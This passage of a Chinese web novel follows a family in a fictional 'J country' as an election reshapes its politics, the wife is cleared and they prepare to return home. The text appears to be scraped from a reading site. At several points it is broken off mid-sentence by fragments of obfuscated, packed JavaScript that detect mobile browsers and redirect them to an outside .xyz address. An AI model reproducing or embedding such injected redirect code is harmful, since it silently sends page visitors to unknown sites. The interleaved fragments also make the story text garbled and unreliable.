一个负责熬制各种滋补的汤品。 一个负责研究最科学的育儿知识。 她们看着自己的儿子和女儿，在经历了风雨后，终于拥有了这份平静，眼中满是欣慰。 这个小生命的降生，仿佛一道屏障，将外界所有的纷扰都隔绝在外。 然而，新生儿的第一声啼哭，穿透了的围墙，成为了J国政坛最响亮的一枚惊雷。 陆时安。 这个名字，连同其背后“安然归家”的寓意，在孩子出生的十二小时内，就摆在了J国所有核心人物的办公桌上。 它不是威胁。 它是一种宣告。 宣告着陆沉渊的耐心，和他的底气。 第二天，J国总理向国会提交了，提前进行议会选举的议案。 他需要一场新的**授权，来应对这场已经失控的危机。 他试图用一场**豪赌，来夺回主动权。 但他低估了，陆沉渊在过去几个月里种下的那些种子。 …… 李文博大使在一个雪霁天晴的下午，再次到访。 他没有带任何文件。 只是提着一个夏国传统的长命锁。 “给小宝宝的。”他笑着，将礼物递给陆沉渊。 他的脸上，是掩饰不住的轻松和喜悦。 “陆先生，恭喜。” “谢谢李大使。”陆沉渊接过礼物，请他坐下。 “国内的同志们，都很关心你和墨总，还有孩子。”李文博的语气，带着官方的温度， “让我转告你们，家里一切都好，放心。” “我们放心。”陆沉渊点了点头。 “还有一件事。”李文博话锋一转，进入正题。 “J国的议会选举，刚刚结束了。” 他看着陆沉渊，眼中闪烁着异样的光芒。 “执政党，失去了三十个席位。” “皮耶罗的自由党，拿下了历史性的突破。虽然还不足以单独组阁，但已经拥有了，决定性的话语权。” 这个结果，在所有人的意料之外，却又在情理之中。 过去几个月。 “灯塔”基金会的法律援助，让J国底层民众，看到了改变命运的希望。 王通文的艺术展，让J国上流社会，感受到了夏国文化的魅力。 刘九文教授所代表的夏裔精英，在社区里发挥着越来越大的影响力。 这些，都像是一滴滴水，悄无声息地，渗入了J国社会的土壤。 它们汇聚在一起，最终，改变了潮水的方向。 陆沉渊安静地听着。 脸上，没有太多喜悦。 仿佛，他只是一个听故事的人。 “这是好事。”他平静地说。 李文博看着他。 他知道，眼前这个年轻人，亲手推动了这一切。 却在果实成熟时，退到了幕后，像一个真正的旁观者。 这份心性，这份格局，确实不得不让人佩服。 “今天上午，J国总理召开了第一次内阁紧急会议。”李文博继续说道。 “会议的议题只有一个。” “关于，墨清漓女士的案子。” “最终的结论是，”李文博一字一句，清晰地说道， “重启司法调查。并且，同意我方派出的法律专家，全程介入。” 这意味着，J国当局，终于松口了。 将墨清漓释放回家，从一个“不可能的选项”，变成了一个摆在桌面上的，“可以讨论的议题”。 “知道了。”陆沉渊的反应，依然平淡。 随后，李文博告辞了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16348581|183545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' r>送走李文博后，陆沉渊走到婴儿床边，看了看睡得正香的儿子。 仿佛，儿子的一个呼吸，比J国政坛的地震更让他关心。 …… 两天后。 老皮耶罗亲自登门拜访。 他不再是那个在画展上，偶遇的艺术爱好者。 他现在，是J国政坛炙手可热的权势人物。 他的身后，跟着两名精干的助理，气场与上一次见面时截然不同。 “陆先生，恭喜。”老皮耶罗的脸上，是**家标准的热情微笑。 “也恭喜皮耶罗先生。”陆沉渊与他握手。 两人在客厅坐下。 楼梦玲和林书函很识趣地，抱着孩子回了里屋。 客厅里，只剩下两个男人。 一个，是搅动世界风云的科技巨子。 一个，是即将掌握国家权力的政坛领袖。 但他们的对话，却是从孩子开始的。 “孩子很可爱。”老皮耶罗说，“像他的母亲。” “是的。”陆沉渊的脸上是柔和的气息，“他是个天使。” “有了孩子，就有了软肋。”老皮耶罗看着陆沉渊，意有所指地说。 “不。”陆沉渊摇了摇头，纠正道，“是有了铠甲。” 老皮耶罗的眼神，微微一凝。 他发现，眼前这个年轻人，并没有因为孩子的出生而变得“柔软”。 相反，他似乎，变得更加坚不可摧。 “我今天来，是想告诉陆先生一个好消息。”老皮耶罗不再试探，切入主题。 “自由党，将会在国会，正式提案。” “要求，对墨清漓女士的案件，进行公开、透明的独立审查。” “我相信，以我们现在在国会的力量，这个提案，有百分之九十的可能会通过。” 他靠在沙发上，姿态放松，却带着一种不易察觉的居高临下。 仿佛，他成了那个施恩的人。 “谢谢皮耶罗先生。”陆沉渊的语气，依旧不卑不亢，“也谢谢自由党，对正义的坚持。” 他没有表现出，丝毫的感激涕零。 甚至没有，一点点的欣喜。 这让老皮耶罗，感到了一丝不悦。 他原本以为，陆沉渊会抓住这个机会，向他寻求更多的帮助。 但是，陆沉渊并没有。 第136章 变局 老皮耶罗看着眼前的男人，他就像一座被云雾笼罩的山。 你看得见他，却永远看不透他。 老皮耶罗在这一刻，意识到自己可能犯了一个错误。 但是，一旦上了牌桌，赌徒是不会轻易放弃的。 “当然，提案通过，只是第一步。”老皮耶罗换了个说辞，增加了自己的筹码。 “后续的审查过程，会很复杂。会遇到，来自执政党和A国方面的巨大阻力。” “不过，陆先生请放心。”他笑了笑，“自由党，会是您和您家人，最可靠的朋友。” 这句话的潜台词是：你需要我。 陆沉渊终于抬起眼，正视着他。 “皮耶罗先生。”他开口，声音平淡，却带着一种奇异的力量。 “我一直认为，我们之间的合作，基础不是友情。” “而是，共同的利益。” “让墨清漓回家，符合我的利益。” “一个稳定、繁荣、独立自主的J国，符合自由党的利益，也符合，夏国的利益。” “我们，是在做一件，对所有人都好的事。” 他顿了顿，补充了一句。 “所以，不存在谁帮助谁。” “我们，只是在帮助我们自己。” 老皮耶罗脸上的笑容，僵住了。 陆沉渊这番话，轻描淡写地，就剥掉了他所有“施恩”的外衣。 将两人之间的关系，重新拉回到了，最赤裸，也最平等的合作层面。 老皮耶罗忽然意识到。 自己，还是小看了这个年轻人。 他那副人畜无害的父亲模样，只是他的保护色。 他的内里，依然是那头算计精准、出手狠辣的雄狮。 “陆先生说得对。”老皮耶罗很快恢复了镇定，站起身，“是我浅薄了。” “那么，我就不打扰陆先生，享受天伦之乐了。” 他伸出手。 “合作愉快。” “合作愉快。”陆沉渊与他握手。 送走老皮耶罗。 陆沉渊脸上的柔和，慢慢消失。 他走到窗边，看着老皮耶罗的车，消失在街道的尽头。 从今天起，老皮耶罗不再是一个单纯的盟友。 他成了一个，需要提防的合作者。 权力，是最好的催化剂。 它能让人的野心迅速膨胀。 但陆沉渊，并不在乎。 因为，他从不把希望寄托在任何人的“善意”上。 他只相信，自己亲手布下的局。 墨清漓从里屋走出来。 她将一杯温水，放到陆沉渊的手边。 “他变了。”她说。 她刚才在里屋，听到了所有的对话。 “是权力，改变了他。”陆沉渊转过身，看着她。 “他想从我们身上，得到更多。”墨清漓一语中的，“他想让我们，欠他的人情。” “他想多了。”陆沉渊笑了笑。 他拉着她，在沙发上坐下。 “清漓，这个世界，没有永远的朋友，只有永远的利益。” “我们和皮耶罗，在‘让你回家’这件事上，利益是一致的。所以，他会尽力。” “但回家之后呢？当他的野心，和我们的利益，发生冲突时呢？” “到那时，他就是我们的，下一个对手。” 墨清漓靠在他的肩上。 她很喜欢听他，用这种冷静到近乎冷酷的语气，分析着天下大势。 这让她，感到无比的安心。 因为她知道，这个男人，永远比危险多看一步。 “那我们现在，做什么？”她问。 “等。”陆沉渊回答，“然后，回家。” …… 芦谨麟律师的到访，带来了更实际的进展。 他带来了一份，J国最高检察院的官方文件。 “陆先生，墨总。”他将文件递过去，脸上是职业性的克制。 “检察院，已经正式驳回了，之前对墨总的所有指控。” “理由是，证据不足，且取证程序，存在重大瑕疵。” 这是一个，巨大的胜利。 这意味着，从法律层面，墨清漓已经，重获清白。 “但是，”芦谨麟话锋一转，“他们也提出了一个新的，附加条件。” “要求墨总，以‘证人’的身份，配合调查一起，所谓的‘跨国金融犯罪’案件。” “这很荒谬。”墨清漓看完文件，冷冷地说，“这就是，换个名目，继续拖延时间。” “是的。”芦谨麟点了点头，“这是执政党最后的挣扎。” “他们不敢再用非法的手段扣留你，就用合法的程序，把你留下来。” “他们想用这种方式，向A国交待，也为他们自己，争取更多的，谈判筹码。” “那我们，怎么办？”楼梦玲在一旁，担忧地问。 她听不懂那些复杂的法律术 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16348582|183545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 语，但她听懂了，清漓还是不能回家。 “妈，您别担心。”陆沉渊开口，安抚着母亲。 他看向芦谨麟，眼神平静。 “我们接受。” “什么？”所有人都愣住了。 芦谨麟也有些意外：“陆先生，这意味着，墨总至少还要在这里，停留一到两个月。” “没关系。”陆沉渊摇了摇头。 “他们要程序，我们就给他们程序。” “他们要时间，我们就给他们时间。” 他转头，看着墨清漓，眼中是绝对的信任。 “我相信我的妻子。无论他们用什么案件来盘问，她都无懈可击。” “我也相信我们的国家。”他看向窗外， “她，不会让自己的公民，在海外，蒙受不白之冤。” 他的话掷地有声，给了在场所有人无比强大的信心。 芦谨麟看着他，深深地吸了一口气。 他明白了陆沉渊的策略。 以退为进，后发制人。 你打你的，我打我的。 你陷入程序和规则的泥潭，我却在等待，大势的到来。 “我明白了。”芦谨麟收起文件， “我会按照你的意思，去和检察院沟通。” …… 日子，仿佛又回到了之前的平静。 陆沉渊，继续做着他的全职奶爸。 墨清漓，则开始以“证人”的身份，每周两次，前往J国检察院接受问询。 每一次，都有夏国使馆的官员和律师团队，全程陪同。 那些检察官，想从她身上，找到一丝一毫的破绽。 但他们，一无所获。 墨清漓，就像一本无懈可击的教科书。 她的回答，精准，严谨，滴水不漏。 渐渐地，J国的检察官们也失去了耐心。 这场所谓的“问询”，变成了一种流于形式的敷衍。 而在这平静的表象之下。 夏国与J国新政府之间的高级别沟通已经悄然展开。 没有人知道，他们谈了什么。 但所有人都看到。 夏国宣布，将向J国，全面开放“天枢”系统的底层接口。 J国宣布，将与夏国，在新能源、人工智能和现代农业领域，展开深度合作。 一个又一个重磅的合作协议，密集公布。 A国，发出了最严厉的，**。 但这一次，J国选择了，沉默。 第137章 最终的裁定 哥都的春天，终于有了温度。 阳光穿透云层，落在皇家大酒店的窗玻璃上，折射出温暖的光晕。 套房里，已经打包好的行李箱，整齐地靠墙摆放。 楼梦玲和林书函，正小心翼翼地，将陆时安的小衣服，一件件叠好，放进一个单独的婴儿行李箱。 她们的脸上，是抑制不住的喜悦和期待。 一切，都在等待那个最终的信号。 信号在午后两点，悄然而至。 没有发布会，没有官方通报。 只是J国最高检察院的官方网站上，在最不起眼的角落，更新了一则公告。 公告的标题，平淡无奇。 《关于对夏国公民墨清漓女士相关案件调查结论的公示》 正文，只有寥寥数行。 措辞严谨，充满了法律术语。 核心意思只有一个： 经全面复查，无任何证据表明墨清漓女士从事过任何违反J国法律的活动。 即日起，撤销对其所有限制，恢复其完全自由。 一份迟到了近三年的清白证明。 以一种近乎敷衍的方式，宣告了这场举世瞩目的对峙，正式落幕。 芦谨麟律师团队，第一时间将这个消息发给了陆沉渊。 陆沉渊看了一眼手机，神色平静。 他走到墨清漓身边，她正在给熟睡的儿子，轻轻盖上薄被。 “清漓。”他轻声说。 “嗯？” “官宣了。” 墨清漓的动作，顿了一下。 她抬起头，看着陆沉渊，两人四目相对。 没有激动，没有眼泪，只有一种历经风雨后的默契和安然。 仿佛，这只是他们漫长计划中，一个必然会到来的节点。 “知道了。”墨清漓说道。 她低下头，亲了亲儿子温热的脸颊。 “安安，我们可以回家了。” 陆沉渊也贴过来，抱着妻子，看着儿子，轻声重复了一句， “安安，我们可以回家了。” …… 这则看似不起眼的公告，像一颗投入全球**湖面的深水**。 起初，只是一圈小小的涟漪。 几分钟后，便掀起了滔天巨浪。 全球各大通讯社，几乎在同一时间，以最高级别的“突发新闻”，推送了这条消息。 《J国宣布墨清漓无罪！》 《历时三年的对峙，夏国科技巨头赢得胜利！》 《A国的失败？J国外交政策的重大转向！》 …… 一瞬间，全世界的目光再次聚焦到了哥都。 聚焦到了，那间位于皇家大酒店顶层的套房。 酒店的电话，快被打爆了。 楼下的大堂，在半小时内，被来自世界各地的记者，围得水泄不通。 **短炮，对准了酒店的每一个出入口。 他们像嗅到血腥味的鲨鱼，疯狂地想要捕捉到，这历史性一刻的任何一个画面。 整个酒店，进入了前所未有的，高度戒备状态。 李文博大使的电话，很快打了进来。 “陆先生，恭喜。”李文博的声音，带着由衷的喜悦。 “也谢谢大使和所有同志，这三年来的辛苦。” 陆沉渊是发自内心地感谢他们的努力，以及这三年里提供的帮助。 “这是我们应该做的。” 李文博顿了顿，语气变得严肃， “现在外面的情况，你们也看到了。你们有什么打算？” “开个记者会吧。”陆沉渊回答道， “一次性，把所有事情，都说清楚。” “好。”李文博没有丝毫意外， “我立刻安排。地点就在酒店，安保问题，你放心。” 陆沉渊挂了电话，看向墨清漓。 “要一起吗？”他问。 他指的是，带上陆时安。 让他们的儿子，见证父母的胜利。 墨清漓毫不犹豫地点了点头。 “当然。”她的眼神柔和，却带着一股一往无前的气势， “我们一家人，要永远在一起。” …… 就在全球媒体，都在为一小时后即将召开的记者会而严阵以待时。 J国电视台，突然插播了一条特别新闻。 J国总统，将发表全国电视讲话。 这极不寻常。 通常，J国作为总理制国家，总统并没有实质性权力。 只有在国家面临重大危机或庆典时，总统才会走到前台， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16348583|183545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 采取这种最直接的沟通方式。 电视画面里。 J国总统穿着深色的西装，系着一条代表“独特”、“自主”的紫色领带。 他的表情，严肃而沉稳。 背景，是J国的国旗。 他开口了。 声音，通过电波，传遍了J国的每一个角落，也传到了全世界。 “我的同胞们。” “今天，是一个特殊的日子。” “它标志着一个旧时代的结束，和一个新时代的开始。” …… 他的演讲，通篇没有提及夏国，更没有提及“墨清漓”三个字。 他谈的是J国的历史，以及J国的未来。 他强调，J国是一个独立自主的国家，拥有选择自己道路的神圣权利。 他回顾了J国，作为A国盟友的，历史贡献。 也指出了，在新的世界格局下，单边的、不平等的盟友关系，已经不再符合J国的国家利益。 “世界，是多元的。” “我们的朋友，也应该是多元的。” “我们尊重历史，但我们更要，拥抱未来。” “一个开放、包容、平等的未来。” “一个与所有爱好和平的国家，携手共进的未来。” 最后，他用一句意味深长的话，结束了演讲。 “J国，将以更加成熟、更加自信的姿态，屹立于世界民族之林。我们，将为自己的国民，也为我们的朋友，创造一个更公正，也更繁荣的环境。” 这番讲话，是一份**宣言。 它为墨清漓的无罪释放，提供了最权威的**背书。 它似乎在明确地告诉A国：时代变了。 它又似乎在偷偷地告诉夏国：合作的基础，已经奠定。 它也告诉全世界：J国，要做回自己的主人。 J国总统，用一场精彩的**演说，为自己，也为J国赢得了体面。 将一场被迫的妥协，包装成了一次主动的战略转型。 陆沉渊和墨清漓，在套房的电视里，看完了整场演讲。 “J国不乏聪明的政客。”墨清漓评价道。 “是的。”陆沉渊点了点头，“一个聪明的，懂得审时度势的对手。” 第138章 胜利和表态 下午四点。 皇家大酒店，宴会厅。 数百名记者，严阵以待。 闪光灯，像是汇聚成的一片星海。 当宴会厅的大门，缓缓推开时，所有的镜头，都对准了那个入口。 陆沉渊走了进来，他没有穿西装，只是一身简单的深色休闲装。 他的怀里，用婴儿背带抱着一个襁褓。 襁褓里，是睡得正香的，陆时安。 他高大的身影，像一座山，将孩子安稳地护在胸前。 紧跟在他身后的，是墨清漓。 她穿着一件米白色的长款风衣，长发披肩。 她脸上带着淡淡的，从容的微笑。 她的手，轻轻地搭在陆沉渊的手臂上。 一家三口，就这样走进了全世界的视野。 他们没有丝毫的，狼狈和憔悴。 没有一丝，久经磨难的阴郁。 他们就像是，一对刚刚度假归来的年轻父母。 平静，安然，幸福。 这一幕，本身就是一种无声的宣告。 宣告着，他们以胜利者的姿态站在这里。 两人在发布台前站定。 陆沉渊调整了一下姿势，让儿子睡得更舒服一些。 他没有说话，只是平静地环视全场。 墨清漓走上前，握住了麦克风。 全场，瞬间安静下来。 “谢谢各位媒体朋友的关心。” 她的声音柔和， “我知道，大家有很多问题。” “现在，可以提问了。” 第一个问题，来自A国最大的新闻网。 “墨女士，请问您此刻的心情如何？对于J国政府，您有什么想说的？” 这个问题，很尖锐。 意图，就是挑起她对J国政府的仇恨。 墨清漓笑了笑。 “我现在的心情，只有一个词，那就是，回家。” “至于J国政府，”她顿了顿， “我相信，总统刚才的演讲，已经代表了他们的态度。一个向前看的国家，值得被尊重。” 这个回答，滴水不漏。 既表达了回家的喜悦，又巧妙地将问题抛了回去。 第二个问题，来自夏国官方通讯社。 “陆总，墨总，欢迎你们回家。请问，这次的经历，是否会影响渊龙、汗青等企业，在海外的投资布局？” 这个问题，同样关键。 关系到无数的经济利益。 墨清漓看了一眼陆沉渊。 陆沉渊微微颔首，两人瞬间有了无声的默契。 “科技，是没有国界的。”墨清漓的声音依然柔和。 “我们始终相信，开放与合作，才是推动人类进步的唯一道路。” “我们不会因为，个别的事件，就改变我们的信念。” “渊龙和它的朋友们，依然会向全世界，所有遵守规则、尊重伙伴的市场，敞开大门。” 这既是企业家们的承诺，更是夏国官方态度的投射。 现场的气氛，越来越热烈。 问题，一个接一个。 墨清漓始终应对自如。 她将一场本可能充满**味的交锋，变成了一场优雅而从容的个人秀。 终于，一个来自J国本地媒体的记者，得到了提问机会。 他站起身，显得有些紧张。 “墨女士，陆先生，很抱歉，你们在我们的国家，经历了这一切。” 他的开场，带着歉意。 “我想问的是，抛开**和商业，作为一个普通人。在J国生活了三年之后，你们，如何看待这个国家，和这里的人民？” 这个问题，抽离了所有宏大的叙事。 回归到了，最基本的情感。 全场的镜头，都对准了墨清漓。 所有人都想知道，这个被一个国家，用最粗暴的方式，囚禁了三年的女人，会给出怎样的答案。 墨清漓沉默了片刻。 她转过头，看了一眼陆沉渊怀里的儿子。 她的眼神，瞬间变得，无比柔软。 当她再次面向镜头时，脸上带着一个发自内心的温柔的笑。 “J国，是一个很美丽的国家。”她说。 “在这里，我们看到了，最美的枫叶，和最冷的雪。” “我们认识了，像芦谨麟律师、刘九文教授那样，坚守正义和良知的朋友。” “我们还得到了，无数普通J国市民，匿名的，善意和支持。” 她停顿了一下，目光扫过全场。 “当然，我们也见识到了，权力的傲慢，和司法的偏见。” 她没有回避，直面了那段黑暗的过往。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16348584|183545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“但是，”她话锋一转，声音变得坚定而明亮， “一个国家的伟大，不在于它从不犯错。而在于，它拥有纠正错误，和选择自己道路的勇气。” “就像今天，我们看到的这样。” “所以，对于J国，我没有怨恨，只有祝福。” “祝福这个国家，能真正走出历史的阴影，拥抱一个独立自主的未来。” “也祝福这里的人民，能生活在，一个更加公正、开放和繁荣的国度里。” 她说完，微微鞠了一躬。 全场，先是死一般的寂静。 几秒钟后。 掌声，响了起来。 起初，是稀稀拉拉的。 然后，变得越来越热烈。 连那些最苛刻的，最想看热闹的记者，此刻，也都在由衷地鼓掌。 他们，被这个女人的格局与胸怀彻底折服。 她没有抱怨，没有哭诉，没有煽动仇恨。 她站在胜利的终点，却选择给予对手最大的体面和祝福。 这，才是真正的强大。 …… 记者会结束了。 陆沉渊一家，在安保人员的护送下，返回顶层套房。 大门关上的那一刻。 墨清漓紧绷的身体，明显一松。 陆沉渊立刻伸出手，扶住了她。 “累了？”他柔声问。 “嗯。”墨清漓靠在他的身上，长长地舒了一口气。 刚才在下面，她像一个披着铠甲的女战神。 现在，回到了只属于他们的空间，她终于可以卸下所有的防备。 楼梦玲和林书函，心疼地迎了上来。 “快，快坐下歇歇。” “清漓，你刚才，说得太好了。”楼梦玲的眼圈，红红的。 “是啊。”林书函也抹着眼泪，“妈为你骄傲。” 墨清漓笑了笑。 她接过陆沉渊怀里的儿子，紧紧抱住。 小家伙似乎感受到了母亲的情绪。 在她怀里，蹭了蹭，发出一声满足的呓语。 陆沉渊走过来，从身后，环抱住她们母子。 他低下头，在她的耳边，轻声说： “清漓，你刚才，是全世界最耀眼的光。” 墨清漓转过头，吻了吻他的脸颊。 “因为，你在我身后。” 第139章 回家 记者会后的第二天，哥都的风，似乎都变得温柔了。 全球的媒体，还在反复咀嚼着墨清漓说的每一句话。 她那句“祝福J国”，被各大评论文章，誉为“最高级的胜利宣言”。 然而，风暴的中心，却已恢复了平静。 陆沉渊一家，没有像外界预料的那样，在记者会后立刻回国。 他们在等，等一个真正能为这件事，画上句号的官方姿态。 上午十点。 一个电话，打进了皇家大酒店的顶层套房。 电话不是来自总统府，而是来自，J国新任总理的办公室。 总理的首席秘书的态度谦逊而郑重。 他向陆沉渊先生和墨清漓女士，转达了总理的私人邀请。 希望能在明天，于总理官邸，与他们进行一次非正式的会面，共进午餐。 这不是外交辞令。 这是一份，极具份量的示好。 J国的总统，代表了国家的脸面和历史。 而总理，代表着这个国家最实际的权力和未来。 “请转告总理先生。”陆沉渊对着电话，语气平静， “我们很荣幸。明天中午，会准时到访。” 挂掉电话，墨清漓从婴儿房里走出来。 “是总理？” “嗯。”陆沉渊点了点头，“他比我想象的，更着急。” “他需要一场合作，来巩固自己的地位，也向国民证明，他的选择是正确的。”墨清漓一语道破。 “是向夏国，证明他的诚意。”陆沉渊纠正道。 墨清漓走到他身边，看着窗外，那座已经不再让他们感到压抑的城市。 “那么，我们这场被迫的假期，终于要结束了。” “是的。”陆沉渊揽住她的肩膀，“我们该回家了。” …… 与J国总理的会面，比想象中更加顺利。 没有媒体，没有闪光灯。 只有总理和他的几位核心内阁成员。 午餐是简单的J国传统食物，气氛轻松，却又处处透着郑重。 他们没有再提过去那三年的不愉快。 所有的话题，都围绕着未来。 总理明确表示，J国国会已经通过议案，将全面放宽对夏国企业的投资限制。 尤其是在新能源、人工智能、现代农业等领域，J国希望与渊龙科技、汗青科技等夏国企业，展开最深度的合作。 “J国，将永远是夏国的朋友。”总理在午宴的最后，举起茶杯，对陆沉渊和墨清漓说， “一个平等、互利、互相尊重的朋友。” 陆沉渊和墨清漓，举杯回应。 从这一刻起，他们个人所经历的磨难，才真正转化为两个国家之间，关系破冰的坚实一步。 他们，不仅为自己赢得了清白。 也为自己的国家，推开了一扇全新的大门。 午宴结束后。 J国政府官网，发布了一系列，与夏国合作的备忘录。 …… 在离开J国前，陆沉渊还有几件事要做。 他约见了芦谨麟律师，和哥都大学的刘九文教授。 地点，就在刘教授那间，充满了书卷气的老宅院里。 陆沉渊没有谈论自己即将离开的事。 他只是将两份文件，分别交给了两人。 一份，是“灯塔”基金会未来五年的，追加注资计划。 另一份，是“活水实验室”扩大规模，与J国所有夏裔社区合作的详细方案。 芦谨麟和刘九文，看着文件上的数字，和那些详尽到每一个细节的规划，都愣住了。 他们都以为，随着墨清漓的案子结束，陆沉渊对J国夏裔社区的投入，也会慢慢停止。 毕竟，人之常情。 “卸磨杀驴”，是大多数人，都会做出的选择。 “陆先生，这……”芦谨麟的语气，有些不敢相信。 “芦律师，刘教授。”陆沉渊看着两位老人，眼神诚恳。 “我从一开始就说过，‘灯塔’和‘活水’，不是为了某一个人，某一件事。” “是为了让我们的同胞，在这片土地上，能活得更有尊严，更有底气。” “这件事，不会因为我的离开，而有任何改变。” “它会一直，持续下去。” 刘九文教授的愣了愣。 他扶了扶自己的老花镜，看着眼前的年轻人，微微有些失神，然后说道， “陆先生，我替所有在J国的夏裔同胞，谢谢你。” “是我们，该谢谢您二位。”陆沉渊站起身，深深鞠躬， “没有你们的奔走和坚守，就没有这一切。” 芦谨麟和刘九文，连忙将他扶起。 他们看着陆沉渊。 这个年轻人，以一人之力，搅动了J国的政局，改变了历史的走向。 却在功成身退时，依然保持着最初的那份谦逊与赤诚。 他们知道，J国的夏裔圈，因为这个年轻人，拥有了一个完全不同的未来。 …… 在J国的最后一晚。 陆沉渊没有安排任何应酬。 他亲自下厨。 在皇家大酒店那间，宽大到有些奢侈的厨房里，为一位特殊的客人，准备了一顿家宴。 客人，是夏国驻J国大使，李文博。 傍晚七点。 李文博脱下西装，换了一身便服，独自一人，前来赴约。 这是他这三年来，第一次，也是唯一一次，接受陆沉渊的私人宴请。 他按流程，向国内打了报告。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16348585|183545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' br>理由是：与即将归国的同胞，进行一次谈心。 一进门，他就闻到了饭菜的香味。 楼梦玲和林书函正在客厅里，陪着陆时安玩耍。 墨清漓笑着，将他迎了进来。 “李大使，快请坐。阿渊还在厨房忙活。” 李文博看着这温馨的，充满烟火气的一幕，有些恍惚。 只有他清楚，这家人在过去的三年里，承受了怎样的压力。 “墨女士，太客气了。”李文博在沙发上坐下。 “应该的。”楼梦玲抱着孙子，笑着说， “这三年，多亏了李大使的照顾。我们全家，都感激您。” 李文博连连摆手。 “分内之事，分内之事。” 不一会儿，陆沉渊端着几盘家常菜，从厨房里走了出来。 西红柿炒蛋，糖醋里脊，清蒸鲈鱼。 都是最普通的，夏国家常菜。 他身上还系着围裙，额角带着一丝薄汗。 完全没有那个搅动世界风云的科技巨子的半分影子。 “李大使，条件简陋，随便吃点。”陆沉渊解下围裙，笑着坐下。 “这可比国宴，丰盛多了。”李文博半开玩笑地说道。 这顿饭，吃得很慢，很安静。 他们没有谈论任何，关于工作和未来的事。 只是聊着，京州的秋天，哥都的雪。 聊着，陆时安的眉眼，更像谁。 李文博看着眼前这一家。 看着陆沉渊，自然地给墨清漓夹菜。 看着墨清漓，温柔地，看着自己的丈夫和孩子。 看着两位母亲，脸上那发自内心的，安宁的笑容。 他似乎更加明白了，这个年轻人为什么能赢。 因为，他所有的谋划和斗争，最终的目的，都只是为了守护，眼前这最简单的，人间烟火。 这让他，拥有了最坚硬的铠甲，和最柔软的内心。 饭后，陆沉渊和李文博，站在露台的落地窗前。 “陆先生，回国后，有什么打算？”李文博终于还是问了一个他最关心的问题。 “休息一段时间。”陆沉渊回答，“陪陪清漓和孩子。” “然后呢？” 陆沉渊看着窗外，哥都的万家灯火。 “然后，继续做，我们该做的事。” 李文博点了点头。 “一路平安。”李文博伸出手。 “谢谢李大使。我们国内再聚。”陆沉渊握住他的手。 这位沉稳的国家使节，看着眼前的年轻人，心里默默地说了一句： 陆先生，清漓女士。 你们不仅为自己，打开了一条回家的路。 也为我们的国家，在这片土地上，打开了一条全新的路。 谢谢你们。 第140章 回家（续） 另一个房间里。 王通文正在帮楼梦玲，收拾着画具。 这两年多，他以各种理由，停留在哥都。 他举办的画展，一场接着一场。 成功地，将夏国当代艺术，推向了J国的主流社会。 也成功地，让自己一直陪伴在楼梦玲身边。 他什么都没要求过。 只是在她需要的时候，默默地出现。 陪她聊聊天，或者，只是安静地看她画画。 “这些画，都要带走吗？”王通文小心翼翼地，卷起一幅画。 “嗯。”楼梦玲点了点头。 她看着眼前这个儒雅的男人。 他比陆明业年长几岁。 没有陆明业那样的家世和地位。 但他身上，有一种让楼梦玲感到安心的温润和踏实。 这两年，她看得分明。 这个男人，为她，为她们一家付出了多少。 楼梦玲的心，不是石头做的。 “王先生。”她鼓起勇气，开口。 “嗯？” “明天……我们一起，坐飞机回去吧。” 王通文的动作，停住了。 他抬起头，看着楼梦玲。 她的脸上一片坦然，只是眼神似乎有些紧张。 王通文的心，瞬间被巨大的喜悦填满。 他等这句话，等了太久。 他笑了，笑得像个孩子。 “好。”他郑重地点了点头。 “我的荣幸。” …… 夜，深了。 